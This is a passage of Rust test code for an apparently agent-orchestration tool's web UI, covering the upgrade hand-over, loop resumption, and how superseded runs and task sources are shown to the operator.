18210            runs,
18211            home.path().to_path_buf(),
18212            PathBuf::from("/repo/magi"),
18213        )
18214        .with_launch(launch_idle)
18215    }
18216
18217    async fn park_fixture(
18218        home: &TempDir,
18219    ) -> (
18220        Ui,
18221        Arc<Mutex<LoopState>>,
18222        Arc<Mutex<TalkTurns>>,
18223        tokio::task::JoinHandle<std::io::Result<()>>,
18224    ) {
18225        let ui = idle_ui(home);
18226        let looping = ui.looping();
18227        let turns = ui.turns();
18228        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
18229            .await
18230            .expect("bind loopback");
18231        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
18232        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18233        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
18234        (ui, looping, turns, served)
18235    }
18236
18237    /// The hand-over does not release the address while a chat turn is in
18238    /// flight, a `/say` arriving meanwhile starts nothing, and the successor is
18239    /// started once the turn ends.
18240    #[tokio::test]
18241    async fn hand_over_waits_for_a_running_chat_turn() {
18242        let home = TempDir::new().expect("temp home");
18243        let (ui, looping, turns, served) = park_fixture(&home).await;
18244        let ui = Arc::new(ui);
18245        let id = "20260901-000000-chat";
18246        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
18247
18248        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
18249        let handover = tokio::spawn({
18250            let home = home.path().to_path_buf();
18251            let turns = Arc::clone(&turns);
18252            let calls = Arc::clone(&calls);
18253            async move {
18254                hand_over(
18255                    &home,
18256                    &looping,
18257                    &turns,
18258                    &|_: &[String]| Duration::from_secs(60),
18259                    served,
18260                    move |_| {
18261                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
18262                        Ok(1)
18263                    },
18264                )
18265                .await
18266            }
18267        });
18268
18269        let waiting = async {
18270            for _ in 0..200 {
18271                if crate::updater::read_progress(home.path())
18272                    .is_some_and(|p| p.parked_talks == [id.to_owned()])
18273                {
18274                    return;
18275                }
18276                tokio::time::sleep(Duration::from_millis(25)).await;
18277            }
18278            panic!("the park never named the chat turn");
18279        };
18280        waiting.await;
18281        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
18282
18283        // A new turn is refused, a queued claim and a direct `/say` see a busy
18284        // slot, and nothing new is live.
18285        let refused = ui.begin_talk_turn("20260901-000000-late").err();
18286        assert!(
18287            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
18288            "a direct start says an upgrade is in progress"
18289        );
18290        assert!(
18291            ui.begin_queued_talk_turn("20260901-000000-late")
18292                .expect("queued claim")
18293                .is_none()
18294        );
18295        assert!(matches!(
18296            ui.begin_talk_turn_unless_pending("20260901-000000-late")
18297                .expect("start"),
18298            TalkTurnStart::Busy
18299        ));
18300        assert_eq!(turns.lock().unwrap().live.len(), 1);
18301
18302        // The health text names the turn.
18303        let progress = crate::updater::read_progress(home.path()).expect("progress");
18304        let view = upgrade_progress_view(&ui, progress);
18305        assert!(
18306            view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
18307            "{:?}",
18308            view.waiting_on
18309        );
18310
18311        assert!(!handover.is_finished());
18312        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
18313        drop(turn);
18314        handover.await.expect("join").expect("hand over");
18315        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
18316        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
18317    }
18318
18319    /// Chat stays open while the loop is still parking, and closes only once
18320    /// the loop is done; a turn started during the park is waited for.
18321    #[tokio::test]
18322    async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
18323        let home = TempDir::new().expect("temp home");
18324        let (ui, looping, turns, served) = park_fixture(&home).await;
18325        let ui = Arc::new(ui);
18326        // A loop that ends only when told to.
18327        let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
18328        lock_or_recover(&looping).live = Some(Live {
18329            stop: daemon::Stop::new(),
18330            handle: tokio::spawn(async move {
18331                let _ = loop_ended.await;
18332            }),
18333            opts: daemon::Opts::default(),
18334        });
18335
18336        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
18337        let handover = tokio::spawn({
18338            let home = home.path().to_path_buf();
18339            let turns = Arc::clone(&turns);
18340            let calls = Arc::clone(&calls);
18341            async move {
18342                hand_over(
18343                    &home,
18344                    &looping,
18345                    &turns,
18346                    &|_: &[String]| Duration::from_secs(60),
18347                    served,
18348                    move |_| {
18349                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
18350                        Ok(1)
18351                    },
18352                )
18353                .await
18354            }
18355        });
18356
18357        let reached = async {
18358            for _ in 0..200 {
18359                if crate::updater::read_progress(home.path())
18360                    .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
18361                {
18362                    return;
18363                }
18364                tokio::time::sleep(Duration::from_millis(25)).await;
18365            }
18366            panic!("the hand-over never reached parking");
18367        };
18368        reached.await;
18369
18370        // The loop is still parking: a chat turn starts.
18371        assert!(!turns.lock().unwrap().parking);
18372        let turn = ui
18373            .begin_talk_turn("20260901-000000-chat")
18374            .expect("claim")
18375            .expect("a turn can start while the loop parks");
18376
18377        // The loop ends; the slot closes while the first turn is still held.
18378        end_loop.send(()).expect("loop still waiting");
18379        for _ in 0..200 {
18380            if turns.lock().unwrap().parking {
18381                break;
18382            }
18383            tokio::time::sleep(Duration::from_millis(25)).await;
18384        }
18385        assert!(
18386            turns.lock().unwrap().parking,
18387            "closed once the loop is done"
18388        );
18389        let refused = ui.begin_talk_turn("20260901-000000-late").err();
18390        assert!(
18391            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
18392            "no turn starts once the loop is done"
18393        );
18394        assert!(
18395            ui.begin_queued_talk_turn("20260901-000000-late")
18396                .expect("queued claim")
18397                .is_none()
18398        );
18399        assert!(!handover.is_finished());
18400        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
18401
18402        drop(turn);
18403        handover.await.expect("join").expect("hand over");
18404        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
18405        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
18406    }
18407
18408    /// A turn that never ends cannot block the upgrade: past the bound the
18409    /// hand-over proceeds and records which talk it gave up on.
18410    #[tokio::test]
18411    async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
18412        let home = TempDir::new().expect("temp home");
18413        let (ui, looping, turns, served) = park_fixture(&home).await;
18414        let id = "20260901-000000-stuk";
18415        let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
18416
18417        let calls = std::sync::atomic::AtomicUsize::new(0);
18418        hand_over(
18419            home.path(),
18420            &looping,
18421            &turns,
18422            &|_: &[String]| Duration::from_millis(300),
18423            served,
18424            |_| {
18425                calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
18426                Ok(1)
18427            },
18428        )
18429        .await
18430        .expect("hand over");
18431        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
18432
18433        let progress = crate::updater::read_progress(home.path()).expect("progress");
18434        assert_eq!(progress.stage, crate::updater::Stage::Restarting);
18435        assert!(
18436            progress.detail.as_deref().is_some_and(|d| d.contains(id)),
18437            "{:?}",
18438            progress.detail
18439        );
18440        let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
18441        assert!(
18442            log.contains("handing over anyway") && log.contains(id),
18443            "{log}"
18444        );
18445    }
18446
18447    /// A drain that finds the upgrade parking leaves the queued draft alone
18448    /// and gives the slot up, instead of starting another turn.
18449    #[tokio::test]
18450    async fn drain_loop_starts_no_turn_while_parking() {
18451        let tmp = TempDir::new().expect("tempdir");
18452        let repo = tmp.path().join("repo");
18453        std::fs::create_dir_all(&repo).expect("repo dir");
18454        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
18455        let home = TempDir::new().expect("temp home");
18456        let talks = Talks::at(home.path().join("talks"));
18457        let ui = Ui::new(
18458            Queue::at(home.path().join("queue")),
18459            Questions::at(home.path().join("questions")),
18460            talks.clone(),
18461            home.path().join("runs"),
18462            home.path().to_path_buf(),
18463            repo.clone(),
18464        )
18465        .with_worktrees_root(home.path().join("wt"));
18466        let cfg = config_for(&repo).await.expect("discover config");
18467        let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
18468        let id = talk.id.clone();
18469        talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
18470        let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
18471        let turns = ui.turns();
18472        let parking = ParkingTurns::begin(&turns);
18473
18474        drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
18475
18476        assert!(
18477            turns.lock().unwrap().live.is_empty(),
18478            "the slot is given up"
18479        );
18480        let fresh = talks.get(&id).expect("talk");
18481        assert_eq!(fresh.pending, "later", "the draft is still queued");
18482        assert!(fresh.turns.is_empty(), "no turn ran");
18483        drop(parking);
18484    }
18485
18486    /// Run `hand_over` against `ui` and return what the successor was told.
18487    async fn handed_over(home: &TempDir, ui: Ui) -> bool {
18488        let looping = ui.looping();
18489        let turns = ui.turns();
18490        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
18491            .await
18492            .expect("bind loopback");
18493        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
18494        let told = std::sync::Mutex::new(None);
18495        hand_over(
18496            home.path(),
18497            &looping,
18498            &turns,
18499            &|_: &[String]| Duration::from_secs(5),
18500            served,
18501            |resume| {
18502                *told.lock().unwrap() = Some(resume);
18503                Ok(1)
18504            },
18505        )
18506        .await
18507        .expect("hand over");
18508        told.into_inner().unwrap().expect("successor was started")
18509    }
18510
18511    #[tokio::test]
18512    async fn a_running_loop_is_resumed_by_the_successor() {
18513        let home = TempDir::new().expect("temp home");
18514        let ui = idle_ui(&home);
18515        ui.start_loop(None).expect("start");
18516        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
18517        // The idle loop sees the park and ends before the handover fires.
18518        for _ in 0..500 {
18519            if !ui.loop_view(None).running {
18520                break;
18521            }
18522            tokio::time::sleep(Duration::from_millis(2)).await;
18523        }
18524        assert!(handed_over(&home, ui).await, "a running loop must resume");
18525
18526        let successor = idle_ui(&home);
18527        assert!(!successor.loop_view(None).running);
18528        assert!(successor.resume_after_handover(true));
18529        assert!(successor.loop_view(None).running);
18530        successor.stop_loop(None, false).expect("stop");
18531    }
18532
18533    #[tokio::test]
18534    async fn a_second_upgrade_request_keeps_the_resume_intent() {
18535        let home = TempDir::new().expect("temp home");
18536        let ui = idle_ui(&home);
18537        ui.start_loop(None).expect("start");
18538        ui.park_for_upgrade("0.1.0", Some("0.1.1"))
18539            .expect("first park");
18540        ui.park_for_upgrade("0.1.0", Some("0.1.1"))
18541            .expect("second park");
18542        assert!(handed_over(&home, ui).await);
18543    }
18544
18545    #[tokio::test]
18546    async fn a_stop_during_the_handover_wait_is_honoured() {
18547        let home = TempDir::new().expect("temp home");
18548        let ui = idle_ui(&home);
18549        ui.start_loop(None).expect("start");
18550        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
18551        ui.stop_loop(None, false).expect("stop");
18552        assert!(!handed_over(&home, ui).await);
18553    }
18554
18555    #[tokio::test]
18556    async fn an_idle_loop_stays_stopped_across_the_handover() {
18557        let home = TempDir::new().expect("temp home");
18558        let ui = idle_ui(&home);
18559        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
18560        assert!(!handed_over(&home, ui).await);
18561
18562        let successor = idle_ui(&home);
18563        assert!(!successor.resume_after_handover(false));
18564        assert!(!successor.loop_view(None).running);
18565    }
18566
18567    #[tokio::test]
18568    async fn a_loop_the_operator_stopped_is_not_resumed() {
18569        let home = TempDir::new().expect("temp home");
18570        let ui = idle_ui(&home);
18571        ui.start_loop(None).expect("start");
18572        ui.stop_loop(None, false).expect("stop");
18573        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
18574        assert!(!handed_over(&home, ui).await);
18575    }
18576
18577    #[test]
18578    fn only_an_explicit_one_requests_a_resume() {
18579        assert!(!resume_requested(None));
18580        assert!(!resume_requested(Some("0".into())));
18581        assert!(!resume_requested(Some("".into())));
18582        assert!(resume_requested(Some("1".into())));
18583    }
18584
18585    #[test]
18586    fn the_upgrade_button_arms_before_it_restarts_anything() {
18587        // It ends the process the operator is talking to, and a phone in a
18588        // pocket taps things. One tap arms, the second commits.
18589        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
18590        assert!(APP_JS.contains("Replace the binary and restart?"));
18591        assert!(APP_JS.contains("function confirmed("));
18592        // Hidden when the loop is somebody else's, matching the 409 above -
18593        // and hidden with nothing to install, matching the 200 "already
18594        // current" branch: an operator on the newest build must not be
18595        // offered a restart that would only park a run for nothing.
18596        assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
18597        // A park waits for the node in flight, up to an hour for an implement
18598        // wave. Leaving the button reading "Upgrading…" for that long is the
18599        // same mistake as an error rendered off screen: it looks wedged.
18600        assert!(
18601            APP_JS.contains("Parking, then restarting"),
18602            "the button says what it is waiting for"
18603        );
18604        // And nothing to install must give the button back rather than
18605        // pretending a restart is coming.
18606        assert!(APP_JS.contains("if (!out.to)"));
18607    }
18608
18609    #[test]
18610    fn stopping_the_loop_arms_but_starting_does_not() {
18611        // A stray tap must not leave the queue stopped overnight, so a stop is
18612        // two taps through the same helper the upgrade uses; a start stays one.
18613        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
18614        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
18615        assert!(APP_JS.contains("confirmed(button, question)"));
18616        // The label put back on timeout is the one saved when arming, not a
18617        // hard-coded upgrade caption that would rename the stop button.
18618        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
18619        assert!(APP_JS.contains("const label = btn.textContent;"));
18620        assert!(!APP_JS.contains("Neither direction is guarded"));
18621    }
18622
18623    #[test]
18624    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
18625        assert!(
18626            APP_JS.contains("state.health.version"),
18627            "the operator wants to know what is running even with nothing newer"
18628        );
18629        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
18630    }
18631
18632    #[test]
18633    fn the_upgrade_button_names_its_destination() {
18634        assert!(
18635            APP_JS.contains("`Update to ${update.to}`"),
18636            "pressing the button should not be a surprise about what it moves to"
18637        );
18638    }
18639
18640    #[test]
18641    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
18642        for stage in ["downloading", "replaced", "parking", "restarting"] {
18643            assert!(
18644                APP_JS.contains(&format!("\"{stage}\"")),
18645                "the phone must be able to tell {stage} apart from the others"
18646            );
18647        }
18648        assert!(APP_JS.contains(".waiting_on"));
18649        // What replaced the bare "Cannot reach magi: Failed to fetch": a
18650        // fetch failing while an upgrade is in flight is not an error, it is
18651        // the sub-second gap `bind_waiting` covers, and it must not be
18652        // reported as one.
18653        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
18654        assert!(APP_JS.contains("reconnects on its own"));
18655    }
18656
18657    #[test]
18658    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
18659        // `Stage::Failed` is terminal on the server and nothing clears it on
18660        // its own - not a fresh start, not time passing - so a full-strip
18661        // takeover for it (the way the busy stages take the strip over,
18662        // correctly, because those are transient) would have hidden
18663        // start/stop/park behind an upgrade notice with no way back short of
18664        // a person editing `upgrade.json` by hand or a later release
18665        // happening to succeed. The failure must instead ride along as a note
18666        // next to whatever control the loop's own state already offers.
18667        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
18668            ..APP_JS.find("function upgrade(").expect("upgrade")];
18669        assert!(
18670            !body.contains(
18671                "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
18672            ),
18673            "a failed upgrade must not take the whole strip over the way it used to"
18674        );
18675        assert!(
18676            body.contains("upgradeFailNote"),
18677            "the failure has to reach the loop's own note instead"
18678        );
18679        // `quiet` and `control` are the only two places `loop-why` is set from
18680        // this function's own state; both must carry the note through, or a
18681        // future edit to either one would silently drop it again.
18682        assert_eq!(
18683            body.matches("upgradeFailNote].filter(Boolean).join")
18684                .count(),
18685            2,
18686            "both loop-why writers (quiet and control) must fold the note in"
18687        );
18688    }
18689
18690    #[test]
18691    fn an_overdue_upgrade_eventually_asks_for_a_human() {
18692        // The ceiling has to clear a full hour-long park with room to spare,
18693        // or an ordinary implement wave would be reported as a stuck upgrade.
18694        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
18695        assert!(APP_JS.contains("function upgradeOverdue("));
18696    }
18697
18698    #[test]
18699    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
18700        assert!(
18701            APP_JS.contains("Updated to ${upgradeInfo.to"),
18702            "the operator who asked for the restart wants to know it worked"
18703        );
18704    }
18705
18706    #[test]
18707    fn an_error_is_visible_from_where_the_button_is() {
18708        // The alert used to sit in the flow under the header. On a phone
18709        // scrolled 13 500 px down to a run's action sheet that is off screen,
18710        // so tapping Resume and being told "the loop is running run b455
18711        // right now" looked exactly like a button that did nothing.
18712        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
18713            ..APP_CSS.find(".alert-text").expect(".alert-text")];
18714        assert!(
18715            alert.contains("position: fixed"),
18716            "an error about the thing under your thumb has to be visible from \
18717             where your thumb is: {alert}"
18718        );
18719        assert!(
18720            alert.contains("z-index: 25"),
18721            "above the dock (20) and the run-actions FAB (15), so neither \
18722             buries it: {alert}"
18723        );
18724        assert!(
18725            alert.contains("var(--tap)"),
18726            "and clear of the dock and the home indicator: {alert}"
18727        );
18728        // The FAB sits at the same height on the right. An error that covered
18729        // it would hide the button the operator reaches for next.
18730        assert!(
18731            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
18732            "the FAB's column stays free: {alert}"
18733        );
18734    }
18735
18736    #[tokio::test]
18737    async fn an_older_attempt_says_what_replaced_it() {
18738        let fx = Fixture::start().await;
18739        let q = fx.queue();
18740        let runs = fx.runs();
18741        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
18742        write_run(&runs, first, RunStatus::Stalled);
18743        write_run(&runs, second, RunStatus::Blocked);
18744
18745        let mut t = Task::new(
18746            "one task".to_owned(),
18747            "do it".to_owned(),
18748            PathBuf::from("/repo"),
18749            Source::Human,
18750        );
18751        t.runs = vec![first.to_owned(), second.to_owned()];
18752        q.put(&mut t).expect("put");
18753
18754        // Two cards with the same title and no hint which is which was the
18755        // question: "why are there two of the same, one stalled and one
18756        // blocked?" The older one now names its replacement.
18757        let rows = fx.get("/api/runs").await.json();
18758        let by = |short: &str| -> Value {
18759            rows.as_array()
18760                .unwrap()
18761                .iter()
18762                .find(|r| r["short"] == short)
18763                .cloned()
18764                .unwrap_or(Value::Null)
18765        };
18766        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
18767        assert!(
18768            by("bbbb")["superseded_by"].is_null(),
18769            "the latest attempt is not superseded by anything"
18770        );
18771        // Front end: the note has to be rendered, not just carried.
18772        assert!(APP_JS.contains("run.superseded_by"));
18773        assert!(APP_JS.contains("Superseded by"));
18774    }
18775
18776    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
18777        let mut t = Task::new(
18778            "one task".to_owned(),
18779            "do it".to_owned(),
18780            PathBuf::from("/repo"),
18781            Source::Human,
18782        );
18783        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
18784        t.status = status;
18785        t
18786    }
18787
18788    #[test]
18789    fn source_link_picks_the_page_that_filed_the_task() {
18790        let agent = |node: &str| Source::Agent {
18791            run: "20260904-014455-ab12".to_owned(),
18792            node: node.to_owned(),
18793        };
18794        let chat = source_link(&agent("chat")).expect("chat link");
18795        assert_eq!(chat.kind, "chat");
18796        assert_eq!(chat.id, "20260904-014455-ab12");
18797        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
18798        let run = source_link(&agent("implement")).expect("run link");
18799        assert_eq!(
18800            (run.kind, run.href.as_str()),
18801            ("run", "#/runs/20260904-014455-ab12")
18802        );
18803        assert_eq!(source_link(&Source::Human), None);
18804        assert_eq!(
18805            source_link(&Source::Issue {
18806                number: 3,
18807                repo: "o/r".to_owned()
18808            }),
18809            None
18810        );
18811        let odd = source_link(&Source::Agent {
18812            run: "a b/c".to_owned(),
18813            node: "chat".to_owned(),
18814        })
18815        .expect("link");
18816        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
18817    }
18818
18819    #[test]
18820    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
18821        assert!(
18822            !APP_JS.contains("src.node === \"chat\""),
18823            "inline href rule is back"
18824        );
18825        assert!(
18826            APP_JS.matches("sourceLinkOf(").count() >= 4,
18827            "helper must serve every page"
18828        );
18829        assert!(
18830            APP_JS.matches("openChatLink(").count() >= 3,
18831            "the run page still needs its explicit chat link"
18832        );
18833        assert!(
18834            !APP_JS.contains("const openChat = el("),
18835            "the Queue card duplicates its source label link again"
18836        );
18837        assert!(
18838            APP_JS.contains("metaKids.push(link ? el(\"a\""),
18839            "the task page must link a chat source label too"
18840        );
18841    }
18842
18843    #[test]
18844    fn task_ref_carries_the_source_link_for_a_chat_task() {
18845        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
18846        t.source = Source::Agent {
18847            run: "20260904-014455-ab12".to_owned(),
18848            node: "chat".to_owned(),
18849        };
18850        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
18851        let v = serde_json::to_value(&out).expect("json");
18852        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
18853        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
18854        assert_eq!(v["source_label"], t.source.label());
18855
18856        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
18857        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
18858            .expect("json");
18859        assert!(v["source_link"].is_null(), "{v}");
18860    }
18861
18862    #[test]
18863    fn task_view_serializes_source_link() {
18864        let mut t = Task::new(
18865            "t".to_owned(),
18866            "t".to_owned(),
18867            PathBuf::from("/repo"),
18868            Source::Agent {
18869                run: "20260901-000000-aaaa".to_owned(),
18870                node: "implement".to_owned(),
18871            },
18872        );
18873        t.runs.clear();
18874        let v = serde_json::to_value(TaskView::from(t)).expect("json");
18875        assert_eq!(v["source_link"]["kind"], "run", "{v}");
18876        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
18877    }
18878
18879    #[test]
18880    fn task_view_serializes_urgent_flag() {
18881        let mut t = Task::new(
18882            "t".to_owned(),
18883            "t".to_owned(),
18884            PathBuf::from("/repo"),
18885            Source::Human,
18886        );
18887        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
18888        assert_eq!(v["urgent"], false, "{v}");
18889        t.urgent = true;
18890        let v = serde_json::to_value(TaskView::from(t)).expect("json");
18891        assert_eq!(v["urgent"], true, "{v}");
18892        assert!(APP_JS.contains("task.urgent === true"));
18893    }
18894
18895    #[tokio::test]
18896    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
18897        let fx = Fixture::start().await;
18898        let runs = fx.runs();
18899        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
18900        write_run(&runs, old, RunStatus::Blocked);
18901        write_run(&runs, new, RunStatus::Merged);
18902        let mut t = outcome_task(&[old, new], TaskStatus::Done);
18903        fx.queue().put(&mut t).expect("put");
18904
18905        let view = fx.get(&format!("/api/runs/{old}")).await.json();
18906        let task = &view["task"];
18907        assert_eq!(task["status"], "done");
18908        assert_eq!(task["is_latest"], false);
18909        assert_eq!(task["latest"]["short"], "bbbb");
18910        assert_eq!(task["finished_by"]["id"], new);
18911        assert_eq!(task["finished_by"]["outcome"], "merged");
18912        assert_eq!(task["closed_by_hand"], false);
18913        assert_eq!(view["status"], "blocked", "the run keeps its own status");
18914        assert!(APP_JS.contains("finished_by"));
18915        assert!(APP_JS.contains("superseded by run"));
18916    }
18917
18918    #[tokio::test]
18919    async fn the_latest_run_reports_a_held_task_without_a_successor() {
18920        let fx = Fixture::start().await;
18921        let runs = fx.runs();
18922        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
18923        write_run(&runs, old, RunStatus::Stalled);
18924        write_run(&runs, new, RunStatus::Blocked);
18925        let mut t = outcome_task(&[old, new], TaskStatus::Held);
18926        fx.queue().put(&mut t).expect("put");
18927
18928        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
18929        assert_eq!(task["status"], "held");
18930        assert_eq!(task["is_latest"], true);
18931        assert!(task["latest"].is_null());
18932        assert!(task["finished_by"].is_null());
18933        assert_eq!(task["closed_by_hand"], false);
18934    }
18935
18936    #[tokio::test]
18937    async fn a_direct_run_has_no_task_outcome() {
18938        let fx = Fixture::start().await;
18939        let runs = fx.runs();
18940        let id = "20260901-000000-aaaa";
18941        write_run(&runs, id, RunStatus::Blocked);
18942        let view = fx.get(&format!("/api/runs/{id}")).await.json();
18943        assert!(view["task"].is_null());
18944    }
18945
18946    #[test]
18947    fn task_outcome_does_not_guess_a_finishing_run() {
18948        let a = "20260901-000000-aaaa";
18949        let b = "20260901-000000-bbbb";
18950        let c = "20260901-000000-cccc";
18951        let dir = tempfile::tempdir().expect("tempdir");
18952        write_run(dir.path(), a, RunStatus::Blocked);
18953        write_run(dir.path(), b, RunStatus::VerifiedNoop);
18954        // `c` has no record: unreadable.
18955        let read = |id: &str| read_run(dir.path(), id).ok();
18956        // Neither a blocked run nor a no-op finished the task; the newest run is
18957        // unreadable and still named.
18958        let t = outcome_task(&[a, b, c], TaskStatus::Done);
18959        let out = task_outcome(&t, a, 3, read);
18960        assert!(out.finished_by.is_none());
18961        assert!(out.closed_by_hand);
18962        let latest = out.latest.expect("latest");
18963        assert_eq!(latest.id, c);
18964        assert_eq!(latest.status, None);
18965        assert_eq!(latest.outcome, "record unreadable");
18966
18967        // A Ready run settles the task as done, so it is named as the finisher.
18968        write_run(dir.path(), c, RunStatus::Ready);
18969        let t = outcome_task(&[a, c], TaskStatus::Done);
18970        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
18971        assert_eq!(out.finished_by.expect("finisher").id, c);
18972        assert!(!out.closed_by_hand);
18973
18974        // A resumed run id repeats: it is still the latest by id.
18975        let t = outcome_task(&[a, b, a], TaskStatus::Held);
18976        assert!(task_outcome(&t, a, 3, read).is_latest);
18977    }
18978
18979    #[tokio::test]
18980    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
18981        // The list route has known this since the card fix above; the detail
18982        // route — what an operator actually opens from a notification about
18983        // a blocked run — did not, and went on showing a bare red BLOCKED
18984        // chip for a run a retry had already finished.
18985        let fx = Fixture::start().await;
18986        let q = fx.queue();
18987        let runs = fx.runs();
18988        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
18989        write_run(&runs, first, RunStatus::Blocked);
18990        write_run(&runs, second, RunStatus::Merged);
18991
18992        let mut t = Task::new(
18993            "one task".to_owned(),
18994            "do it".to_owned(),
18995            PathBuf::from("/repo"),
18996            Source::Human,
18997        );
18998        t.runs = vec![first.to_owned(), second.to_owned()];
18999        q.put(&mut t).expect("put");
19000
19001        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
19002        assert_eq!(earlier["superseded_by"], "dddd");
19003        assert_eq!(earlier["latest_attempt"]["id"], second);
19004        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
19005        assert_eq!(
19006            earlier["latest_attempt"]["resolved"], true,
19007            "the run that replaced it landed, so this one reads as settled"
19008        );
19009
19010        let later = fx.get(&format!("/api/runs/{second}")).await.json();
19011        assert!(
19012            later["superseded_by"].is_null(),
19013            "the latest attempt is not superseded by anything"
19014        );
19015        assert!(
19016            later["latest_attempt"].is_null(),
19017            "the latest attempt has no later attempt of its own"
19018        );
19019
19020        // Front end: the detail page has to read the field this route now
19021        // carries, downgrade the chip, and link to the run that replaced it —
19022        // not just repeat the list card's own logic under a different name.
19023        // The link is built off `latest_attempt.id`, the server-resolved
19024        // full id, never a bare short string a client would have to guess a
19025        // full run from.
19026        assert!(APP_JS.contains("run.latest_attempt"));
19027        assert!(APP_JS.contains("data-superseded"));
19028        assert!(APP_JS.contains("#/runs/${latest.id}"));
19029    }
19030
19031    #[tokio::test]
19032    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
19033        // A -> B -> C, all Blocked except the last. A's immediate successor
19034        // (superseded_by) is B, which is itself unresolved; what an operator
19035        // opening A's page actually needs is where the task's story stands
19036        // *now* - C, not B - without depending on whether C happens to be in
19037        // whatever page of /api/runs the client last cached.
19038        let fx = Fixture::start().await;
19039        let q = fx.queue();
19040        let runs = fx.runs();
19041        let (a, b, c) = (
19042            "20260901-000000-aaaa",
19043            "20260901-000000-bbbb",
19044            "20260901-000000-cccc",
19045        );
19046        write_run(&runs, a, RunStatus::Blocked);
19047        write_run(&runs, b, RunStatus::Blocked);
19048        write_run(&runs, c, RunStatus::Merged);
19049
19050        let mut t = Task::new(
19051            "retried twice".to_owned(),
19052            "do it".to_owned(),
19053            PathBuf::from("/repo"),
19054            Source::Human,
19055        );
19056        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
19057        q.put(&mut t).expect("put");
19058
19059        let view = fx.get(&format!("/api/runs/{a}")).await.json();
19060        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
19061        assert_eq!(
19062            view["latest_attempt"]["id"], c,
19063            "the chain's current head, not the intermediate Blocked retry"
19064        );
